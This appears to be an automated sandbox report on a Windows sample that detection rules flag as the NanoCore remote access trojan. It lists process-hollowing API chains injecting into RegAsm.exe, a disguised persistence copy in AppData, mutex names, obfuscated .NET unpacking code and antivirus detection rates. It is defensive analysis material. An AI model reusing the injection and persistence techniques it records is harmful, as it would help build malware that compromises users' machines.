        Source: Process Memory Space: RegAsm.exe PID: 7040, type: MEMORYSTRMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: Process Memory Space: RegAsm.exe PID: 7040, type: MEMORYSTRMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_0040E060
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_0040E800
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_0040FE40
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_00416843
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_0048804A
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_00437006
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_0041710E
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_00436522
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_00418A0E
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_004216C4
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_00401287
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_0042BFE6
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_0042DBB5
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_02C12B58
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_0543AD38
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_05433850
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_05438468
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_05439068
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_054323A0
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_05432FA8
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_0543912F
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_0543306F
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 22_2_051B3850
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 22_2_051B2FA8
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 22_2_051B23A0
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 22_2_051B306F
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_3_01411C68 CreateProcessW,NtQueryInformationProcess,NtReadVirtualMemory,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtWriteVirtualMemory,NtGetContextThread,NtSetContextThread,NtResumeThread,
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_3_014100AD NtOpenSection,NtMapViewOfSection,
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_0556116A NtQuerySystemInformation,
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_0556112F NtQuerySystemInformation,
        Source: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.batCode function: 14_3_016D1C68 CreateProcessW,NtQueryInformationProcess,NtReadVirtualMemory,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtWriteVirtualMemory,NtGetContextThread,NtSetContextThread,NtResumeThread,
        Source: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.batCode function: 14_3_016D00AD NtOpenSection,NtMapViewOfSection,
        Source: wIQLBHYbqz.exe, 00000000.00000002.611482400.0000000000C73000.00000004.00000001.sdmpBinary or memory string: FV_ORIGINALFILENAME) vs wIQLBHYbqz.exe
        Source: wIQLBHYbqz.exe, 00000000.00000002.611482400.0000000000C73000.00000004.00000001.sdmpBinary or memory string: OriginalFilename vs wIQLBHYbqz.exe
        Source: wIQLBHYbqz.exe, 00000000.00000002.611076331.0000000000C17000.00000004.00000020.sdmpBinary or memory string: FV_ORIGINALFILENAME vs wIQLBHYbqz.exe
        Source: wIQLBHYbqz.exeBinary or memory string: OriginalFilenameRdpSaUacHelper4 vs wIQLBHYbqz.exe
        Source: wIQLBHYbqz.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
        Source: wIQLBHYbqz.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
        Source: wIQLBHYbqz.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
        Source: wIQLBHYbqz.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
        Source: RMActivate_isv.exe.bat.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
        Source: RMActivate_isv.exe.bat.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
        Source: RMActivate_isv.exe.bat.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
        Source: RMActivate_isv.exe.bat.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeSection loaded: sfc.dll
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeSection loaded: sfc.dll
        Source: wIQLBHYbqz.exeVirustotal: Detection: 69%
        Source: wIQLBHYbqz.exeMetadefender: Detection: 62%
        Source: wIQLBHYbqz.exeReversingLabs: Detection: 80%
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeFile read: C:\Users\user\Desktop\wIQLBHYbqz.exeJump to behavior
        Source: wIQLBHYbqz.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
        Source: unknownProcess created: C:\Users\user\Desktop\wIQLBHYbqz.exe 'C:\Users\user\Desktop\wIQLBHYbqz.exe'
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeProcess created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
        Source: unknownProcess created: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.bat 'C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.bat'
        Source: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.batProcess created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeProcess created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
        Source: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.batProcess created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00021401-0000-0000-C000-000000000046}\InProcServer32
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_05560F2A AdjustTokenPrivileges,
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_05560EF3 AdjustTokenPrivileges,
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeFile created: C:\Users\user\AppData\Roaming\Gfxv2_0Jump to behavior
        Source: classification engineClassification label: mal100.troj.evad.winEXE@6/3@18/1
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeFile read: C:\Users\desktop.iniJump to behavior
        Source: 0.2.wIQLBHYbqz.exe.14a0000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
        Source: 0.2.wIQLBHYbqz.exe.14a0000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
        Source: 14.2.RMActivate_isv.exe.bat.16e0000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
        Source: 14.2.RMActivate_isv.exe.bat.16e0000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
        Source: 13.2.RegAsm.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
        Source: 13.2.RegAsm.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
        Source: 22.2.RegAsm.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.csSecurity API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
        Source: 22.2.RegAsm.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.csSecurity API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_0046A2D5 GetLastError,FormatMessageW,
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeSection loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeSection loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeSection loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeSection loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_00463E91 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,FindCloseChangeNotification,
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeMutant created: \Sessions\1\BaseNamedObjects\frenchy_shellcode_001
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeMutant created: \Sessions\1\BaseNamedObjects\Global\{0622add8-a38b-49c1-8dc8-c09cf4320fc4}
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeMutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
        Source: 0.2.wIQLBHYbqz.exe.14a0000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
        Source: 0.2.wIQLBHYbqz.exe.14a0000.1.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.csCryptographic APIs: 'CreateDecryptor'
        Source: 0.2.wIQLBHYbqz.exe.14a0000.1.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.csCryptographic APIs: 'TransformFinalBlock'
        Source: 13.2.RegAsm.exe.400000.0.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.csCryptographic APIs: 'CreateDecryptor'
        Source: 13.2.RegAsm.exe.400000.0.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.csCryptographic APIs: 'TransformFinalBlock'
        Source: 13.2.RegAsm.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
        Source: 14.2.RMActivate_isv.exe.bat.16e0000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
        Source: 14.2.RMActivate_isv.exe.bat.16e0000.1.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.csCryptographic APIs: 'CreateDecryptor'
        Source: 14.2.RMActivate_isv.exe.bat.16e0000.1.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.csCryptographic APIs: 'TransformFinalBlock'
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeFile opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeFile opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll
        Source: wIQLBHYbqz.exeStatic file information: File size 1253976 > 1048576
        Source: wIQLBHYbqz.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
        Source: wIQLBHYbqz.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
        Source: wIQLBHYbqz.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
        Source: wIQLBHYbqz.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
        Source: wIQLBHYbqz.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
        Source: wIQLBHYbqz.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
        Source: wIQLBHYbqz.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
        Source: wIQLBHYbqz.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
        Source: wIQLBHYbqz.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
        Source: wIQLBHYbqz.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
        Source: wIQLBHYbqz.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
        Source: wIQLBHYbqz.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

        Data Obfuscation:

        barindex
        .NET source code contains potential unpackerShow sources
        Source: 0.2.wIQLBHYbqz.exe.14a0000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs.Net Code: #=q_FL69pQf17BUSAFbWYu1SStMAbdu$R1GJ8VY8UL5_EA= System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
        Source: 0.2.wIQLBHYbqz.exe.14a0000.1.unpack, u0023u003dqxoz66kOqvxr21iYXZYXWiumy9eZGwFWaiX4C5X8aecUu003d.cs.Net Code: #=qKU0J1fiP8KA33eFK1owekQ== System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
        Source: 13.2.RegAsm.exe.400000.0.unpack, u0023u003dqxoz66kOqvxr21iYXZYXWiumy9eZGwFWaiX4C5X8aecUu003d.cs.Net Code: #=qKU0J1fiP8KA33eFK1owekQ== System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
        Source: 13.2.RegAsm.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs.Net Code: #=q_FL69pQf17BUSAFbWYu1SStMAbdu$R1GJ8VY8UL5_EA= System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
        Source: 14.2.RMActivate_isv.exe.bat.16e0000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs.Net Code: #=q_FL69pQf17BUSAFbWYu1SStMAbdu$R1GJ8VY8UL5_EA= System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
        Source: 14.2.RMActivate_isv.exe.bat.16e0000.1.unpack, u0023u003dqxoz66kOqvxr21iYXZYXWiumy9eZGwFWaiX4C5X8aecUu003d.cs.Net Code: #=qKU0J1fiP8KA33eFK1owekQ== System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
        Source: 22.2.RegAsm.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs.Net Code: #=q_FL69pQf17BUSAFbWYu1SStMAbdu$R1GJ8VY8UL5_EA= System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
        Source: 22.2.RegAsm.exe.400000.0.unpack, u0023u003dqxoz66kOqvxr21iYXZYXWiumy9eZGwFWaiX4C5X8aecUu003d.cs.Net Code: #=qKU0J1fiP8KA33eFK1owekQ== System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_00428B85 push ecx; ret
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_02C2ABD8 push cs; retf
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_02C29BDF pushfd ; retn 0002h
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_02C2AAEF push cs; retf
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_02C274AC push ecx; ret
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_02C274B8 push ebp; ret
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_02C2AB63 push cs; retf
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_02C29D2C push eax; retf
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_02C29D30 pushad ; retf
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_00404D61 LoadLibraryA,GetProcAddress,
        Source: wIQLBHYbqz.exeStatic PE information: real checksum: 0x10d8fc should be: 0x139c1f
        Source: RMActivate_isv.exe.bat.0.drStatic PE information: real checksum: 0x10d8fc should be: 0x14151e
        Source: 0.2.wIQLBHYbqz.exe.14a0000.1.unpack, u0023u003dqJT4I5hOweIku0024xYFEeDszbikglXCuquUdu0024v9AXtyq2nsu003d.csHigh entropy of concatenated method names: '#=qBeOBlH6CwHFnQdZWWBgZ_pemudZ6CfCVcfOQtgpeG$Y=', '#=q5v5cLSMFBaxiTtOEjscx86gN2ozXlfytiL6UmXnyWtg=', '#=q_XA5h2lVGHLcY9dK754wKGrOjAm6aBbwPxcUJXgJThJUz83kMbCL53G5uuOLP6Rq', '#=qIFfr$DrKqIieRc688$vylAlBsEnx9Z3$TxvrDsPURfM=', '#=qejgvNXJQvgM2GomZsygLjreyguSPQ29pQHqjR_a0dWk=', '#=qCGokdf0OOxeMJLDkXSfc3NPmwygIQ29RjKQWj$wbNGB9C1pPgma_891QiNyTRXcA', '#=qDqyUVyJLXCtYqhZ0$opqkomqhUBn2WCeEEvGAXlNQ$I=', '#=qdImPAY1o3YhbLtukwCQ91cISaeIEWRKSYrGZ3dTVnkY=', '#=qza7O1AHrroJC7yRIJz4wINR_Sgo4hDpQrj_OYfIrlJE=', '#=q6Ct3QmvVLFC7my$dL1uEiHGmXJ5qCuK4WIhDwfhPTFs='
        Source: 0.2.wIQLBHYbqz.exe.14a0000.1.unpack, u0023u003dqWrm21vQ8CBMZP_RBTwpusAu003du003d.csHigh entropy of concatenated method names: '#=qCgU$tDqtOAyz2b$RwfSF7UzBcCAr0rFJWxm16x7Lre0=', '#=qeD3MBfedCIuKIQf9V1u2N3YS4VXE_FOHqw_XAjWtZK8=', '#=q$mvEHEBkZud$AdHPWqsMQnw5Xm5sD4vBSSmqrKuXGOk=', '#=qZaN94n8dM6tBEf$qCdY2kbTZb5BOW8Z134$2tNv7EJs=', '#=qtlZnL8mho$rv1eTFz0Mw9UYFC_yCabEZ0xtVePn6wR5aSHE7ti3UfKg2l7D0_xk8', '#=qVS$QmQjvFfsXSqQAKGSl6HGbkse2SG0XCab4upVjtRJkvhTEk$oIS2I9Zja7id1Q', '#=qxJg7RxTW1v5mnt12xXeJiYJv_bcctbtL2BCD5MjDi45Hlz6t8vwDNTv1Rv7tgIct', '#=qp$ZVC1r9spi890l$D7IwEd3faoKeWHvv42mVq8wIIWM=', '#=qCoWHlVuoVRMkOzC7RZubJCslkxaEWn9yZiIydECf69$ktj0IPD5wAwC2H5Cc8C$L', '#=qqs1moO$mYaS72OXOWe0Z6GycslEb6e9Ipoy7ppW0O5abIp05ajv8doqdJZHlN3cK'
        Source: 13.2.RegAsm.exe.400000.0.unpack, u0023u003dqWrm21vQ8CBMZP_RBTwpusAu003du003d.csHigh entropy of concatenated method names: '#=qCgU$tDqtOAyz2b$RwfSF7UzBcCAr0rFJWxm16x7Lre0=', '#=qeD3MBfedCIuKIQf9V1u2N3YS4VXE_FOHqw_XAjWtZK8=', '#=q$mvEHEBkZud$AdHPWqsMQnw5Xm5sD4vBSSmqrKuXGOk=', '#=qZaN94n8dM6tBEf$qCdY2kbTZb5BOW8Z134$2tNv7EJs=', '#=qtlZnL8mho$rv1eTFz0Mw9UYFC_yCabEZ0xtVePn6wR5aSHE7ti3UfKg2l7D0_xk8', '#=qVS$QmQjvFfsXSqQAKGSl6HGbkse2SG0XCab4upVjtRJkvhTEk$oIS2I9Zja7id1Q', '#=qxJg7RxTW1v5mnt12xXeJiYJv_bcctbtL2BCD5MjDi45Hlz6t8vwDNTv1Rv7tgIct', '#=qp$ZVC1r9spi890l$D7IwEd3faoKeWHvv42mVq8wIIWM=', '#=qCoWHlVuoVRMkOzC7RZubJCslkxaEWn9yZiIydECf69$ktj0IPD5wAwC2H5Cc8C$L', '#=qqs1moO$mYaS72OXOWe0Z6GycslEb6e9Ipoy7ppW0O5abIp05ajv8doqdJZHlN3cK'
        Source: 13.2.RegAsm.exe.400000.0.unpack, u0023u003dqJT4I5hOweIku0024xYFEeDszbikglXCuquUdu0024v9AXtyq2nsu003d.csHigh entropy of concatenated method names: '#=qBeOBlH6CwHFnQdZWWBgZ_pemudZ6CfCVcfOQtgpeG$Y=', '#=q5v5cLSMFBaxiTtOEjscx86gN2ozXlfytiL6UmXnyWtg=', '#=q_XA5h2lVGHLcY9dK754wKGrOjAm6aBbwPxcUJXgJThJUz83kMbCL53G5uuOLP6Rq', '#=qIFfr$DrKqIieRc688$vylAlBsEnx9Z3$TxvrDsPURfM=', '#=qejgvNXJQvgM2GomZsygLjreyguSPQ29pQHqjR_a0dWk=', '#=qCGokdf0OOxeMJLDkXSfc3NPmwygIQ29RjKQWj$wbNGB9C1pPgma_891QiNyTRXcA', '#=qDqyUVyJLXCtYqhZ0$opqkomqhUBn2WCeEEvGAXlNQ$I=', '#=qdImPAY1o3YhbLtukwCQ91cISaeIEWRKSYrGZ3dTVnkY=', '#=qza7O1AHrroJC7yRIJz4wINR_Sgo4hDpQrj_OYfIrlJE=', '#=q6Ct3QmvVLFC7my$dL1uEiHGmXJ5qCuK4WIhDwfhPTFs='
        Source: 14.2.RMActivate_isv.exe.bat.16e0000.1.unpack, u0023u003dqJT4I5hOweIku0024xYFEeDszbikglXCuquUdu0024v9AXtyq2nsu003d.csHigh entropy of concatenated method names: '#=qBeOBlH6CwHFnQdZWWBgZ_pemudZ6CfCVcfOQtgpeG$Y=', '#=q5v5cLSMFBaxiTtOEjscx86gN2ozXlfytiL6UmXnyWtg=', '#=q_XA5h2lVGHLcY9dK754wKGrOjAm6aBbwPxcUJXgJThJUz83kMbCL53G5uuOLP6Rq', '#=qIFfr$DrKqIieRc688$vylAlBsEnx9Z3$TxvrDsPURfM=', '#=qejgvNXJQvgM2GomZsygLjreyguSPQ29pQHqjR_a0dWk=', '#=qCGokdf0OOxeMJLDkXSfc3NPmwygIQ29RjKQWj$wbNGB9C1pPgma_891QiNyTRXcA', '#=qDqyUVyJLXCtYqhZ0$opqkomqhUBn2WCeEEvGAXlNQ$I=', '#=qdImPAY1o3YhbLtukwCQ91cISaeIEWRKSYrGZ3dTVnkY=', '#=qza7O1AHrroJC7yRIJz4wINR_Sgo4hDpQrj_OYfIrlJE=', '#=q6Ct3QmvVLFC7my$dL1uEiHGmXJ5qCuK4WIhDwfhPTFs='
        Source: 14.2.RMActivate_isv.exe.bat.16e0000.1.unpack, u0023u003dqWrm21vQ8CBMZP_RBTwpusAu003du003d.csHigh entropy of concatenated method names: '#=qCgU$tDqtOAyz2b$RwfSF7UzBcCAr0rFJWxm16x7Lre0=', '#=qeD3MBfedCIuKIQf9V1u2N3YS4VXE_FOHqw_XAjWtZK8=', '#=q$mvEHEBkZud$AdHPWqsMQnw5Xm5sD4vBSSmqrKuXGOk=', '#=qZaN94n8dM6tBEf$qCdY2kbTZb5BOW8Z134$2tNv7EJs=', '#=qtlZnL8mho$rv1eTFz0Mw9UYFC_yCabEZ0xtVePn6wR5aSHE7ti3UfKg2l7D0_xk8', '#=qVS$QmQjvFfsXSqQAKGSl6HGbkse2SG0XCab4upVjtRJkvhTEk$oIS2I9Zja7id1Q', '#=qxJg7RxTW1v5mnt12xXeJiYJv_bcctbtL2BCD5MjDi45Hlz6t8vwDNTv1Rv7tgIct', '#=qp$ZVC1r9spi890l$D7IwEd3faoKeWHvv42mVq8wIIWM=', '#=qCoWHlVuoVRMkOzC7RZubJCslkxaEWn9yZiIydECf69$ktj0IPD5wAwC2H5Cc8C$L', '#=qqs1moO$mYaS72OXOWe0Z6GycslEb6e9Ipoy7ppW0O5abIp05ajv8doqdJZHlN3cK'
        Source: 22.2.RegAsm.exe.400000.0.unpack, u0023u003dqJT4I5hOweIku0024xYFEeDszbikglXCuquUdu0024v9AXtyq2nsu003d.csHigh entropy of concatenated method names: '#=qBeOBlH6CwHFnQdZWWBgZ_pemudZ6CfCVcfOQtgpeG$Y=', '#=q5v5cLSMFBaxiTtOEjscx86gN2ozXlfytiL6UmXnyWtg=', '#=q_XA5h2lVGHLcY9dK754wKGrOjAm6aBbwPxcUJXgJThJUz83kMbCL53G5uuOLP6Rq', '#=qIFfr$DrKqIieRc688$vylAlBsEnx9Z3$TxvrDsPURfM=', '#=qejgvNXJQvgM2GomZsygLjreyguSPQ29pQHqjR_a0dWk=', '#=qCGokdf0OOxeMJLDkXSfc3NPmwygIQ29RjKQWj$wbNGB9C1pPgma_891QiNyTRXcA', '#=qDqyUVyJLXCtYqhZ0$opqkomqhUBn2WCeEEvGAXlNQ$I=', '#=qdImPAY1o3YhbLtukwCQ91cISaeIEWRKSYrGZ3dTVnkY=', '#=qza7O1AHrroJC7yRIJz4wINR_Sgo4hDpQrj_OYfIrlJE=', '#=q6Ct3QmvVLFC7my$dL1uEiHGmXJ5qCuK4WIhDwfhPTFs='
        Source: 22.2.RegAsm.exe.400000.0.unpack, u0023u003dqWrm21vQ8CBMZP_RBTwpusAu003du003d.csHigh entropy of concatenated method names: '#=qCgU$tDqtOAyz2b$RwfSF7UzBcCAr0rFJWxm16x7Lre0=', '#=qeD3MBfedCIuKIQf9V1u2N3YS4VXE_FOHqw_XAjWtZK8=', '#=q$mvEHEBkZud$AdHPWqsMQnw5Xm5sD4vBSSmqrKuXGOk=', '#=qZaN94n8dM6tBEf$qCdY2kbTZb5BOW8Z134$2tNv7EJs=', '#=qtlZnL8mho$rv1eTFz0Mw9UYFC_yCabEZ0xtVePn6wR5aSHE7ti3UfKg2l7D0_xk8', '#=qVS$QmQjvFfsXSqQAKGSl6HGbkse2SG0XCab4upVjtRJkvhTEk$oIS2I9Zja7id1Q', '#=qxJg7RxTW1v5mnt12xXeJiYJv_bcctbtL2BCD5MjDi45Hlz6t8vwDNTv1Rv7tgIct', '#=qp$ZVC1r9spi890l$D7IwEd3faoKeWHvv42mVq8wIIWM=', '#=qCoWHlVuoVRMkOzC7RZubJCslkxaEWn9yZiIydECf69$ktj0IPD5wAwC2H5Cc8C$L', '#=qqs1moO$mYaS72OXOWe0Z6GycslEb6e9Ipoy7ppW0O5abIp05ajv8doqdJZHlN3cK'
